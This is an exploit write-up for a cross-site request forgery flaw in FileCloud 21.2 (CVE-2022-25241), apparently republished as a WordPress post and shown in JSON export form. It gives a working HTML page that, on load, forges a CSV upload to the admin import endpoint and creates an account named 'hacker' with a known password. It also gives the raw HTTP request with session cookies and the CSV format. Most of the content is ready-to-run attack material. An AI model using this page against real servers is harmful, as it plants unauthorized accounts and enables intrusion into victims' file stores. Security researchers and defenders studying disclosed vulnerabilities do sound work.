# Exploit Title: FileCloud 21.2 – Cross-Site Request Forgery (CSRF)
\n# Date: 2022-02-20
\n# Exploit Author: Masashi Fujiwara
\n# Vendor Homepage: https:\/\/www.filecloud.com\/
\n# Software Link: https:\/\/hub.docker.com\/r\/filecloud\/filecloudserver21.2
\n# Version: All versions of FileCloud prior to 21.3 (Fiexd: version 21.3.0.18447)
\n# Tested on:
\n# OS: Ubuntu 18.04.6 LTS (Docker)
\n# Apache: 2.4.52
\n# FileCloud: 21.2.4.17315
\n# CVE: CVE-2022-25241 (https:\/\/www.filecloud.com\/supportdocs\/fcdoc\/latest\/server\/security-advisories\/advisory-2022-01-3-threat-of-csrf-via-user-creation)<\/p>\n
# Conditions
\n1. Only vulnerable if cookies have samesite set to None (SameSite=None).
\necho ‘define(“TONIDOCLOUD_COOKIE_SAME_SITE_TYPE”, “None”);’ >> \/var\/www\/html\/config\/cloudconfig.php
\n2. Use https as target url (When cookies set SameSite=None, also set Secure).<\/p>\n
# PoC (HTML)
\n<html>
\n<head>
\n<meta http-equiv=”Pragma” content=”no-cache”>
\n<meta http-equiv=”Cache-Control” content=”no-cache”><\/p>\n
<script>
\nfunction init(){
\nmyFormData = new FormData();
\nlet fileContent = new Blob([“UserName,EmailID,Password,DisplayName,Status,ExpirationDate,Groups,EmailVerified\\nhacker,hacker@hacker.com,Password1,hacker,FULL,02\/26\/2222,Group1,YES\\n”], {type: ‘application\/vnd.ms-excel’});
\nmyFormData.append(“uploadFormElement”, fileContent, “user.csv”);
\nfetch(“https:\/\/192.168.159.129:8443\/admin\/?op=import&sendapprovalemail=0&sendpwdasplaintext=0”, { method: “post”, body: myFormData, credentials: “include”});
\n}
\n<\/script>
\n<\/head>
\n<body onload=”init()”>
\nCSRF PoC for CVE-2022-25241<\/p>\n
Creat hacker user with Password1 via CSV file upload.
\n<\/body>
\n<\/html><\/p>\n
# HTTPS Request
\nPOST \/admin\/?op=import&sendapprovalemail=0&sendpwdasplaintext=0 HTTP\/1.1
\nHost: 192.168.159.129:8443
\nCookie: X-XSRF-TOKEN-admin=rhedxvo0gullbvzkgwwv; X-XSRF-TOKEN=rhedxvo0gullbvzkgwwv; tonidocloud-au=admin; tonidocloud-as=29352577-cfaa-42e6-80e5-7a304bc78333; tonidocloud-ah=4514fb08f852d2682151efdb938d377734b1e493
\nContent-Length: 365
\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/98.0.4758.102 Safari\/537.36
\nContent-Type: multipart\/form-data; boundary=—-WebKitFormBoundaryiAXsUsJ2ZV54DFuW
\nConnection: close<\/p>\n
——WebKitFormBoundaryiAXsUsJ2ZV54DFuW
\nContent-Disposition: form-data; name=”uploadFormElement”; filename=”user.csv”
\nContent-Type: application\/vnd.ms-excel<\/p>\n
UserName,EmailID,Password,DisplayName,Status,ExpirationDate,Groups,EmailVerified
\nhacker,hacker@hacker.com,Password1,hacker,FULL,02\/26\/2222,Group1,YES<\/p>\n
——WebKitFormBoundaryiAXsUsJ2ZV54DFuW–<\/p>\n
# CSV file format
\nUserName,EmailID,Password,DisplayName,Status,ExpirationDate,Groups,EmailVerified
\nhacker,hacker@hacker.com,Password1,hacker,FULL,02\/26\/2222,Group1,YES<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: FileCloud 21.2 – Cross-Site Request Forgery (CSRF) # Date: 2022-02-20 # Exploit Author: Masashi Fujiwara # Vendor Homepage: https:\/\/www.filecloud.com\/ # Software Link: https:\/\/hub.docker.com\/r\/filecloud\/filecloudserver21.2 # Version: All versions of FileCloud prior to 21.3 (Fiexd: version 21.3.0.18447) # Tested on: # OS: Ubuntu 18.04.6 LTS (Docker) # Apache: 2.4.52 # FileCloud: 21.2.4.17315 # CVE: …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-20922","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/20922","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=20922"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/20922\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=20922"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=20922"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=20922"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}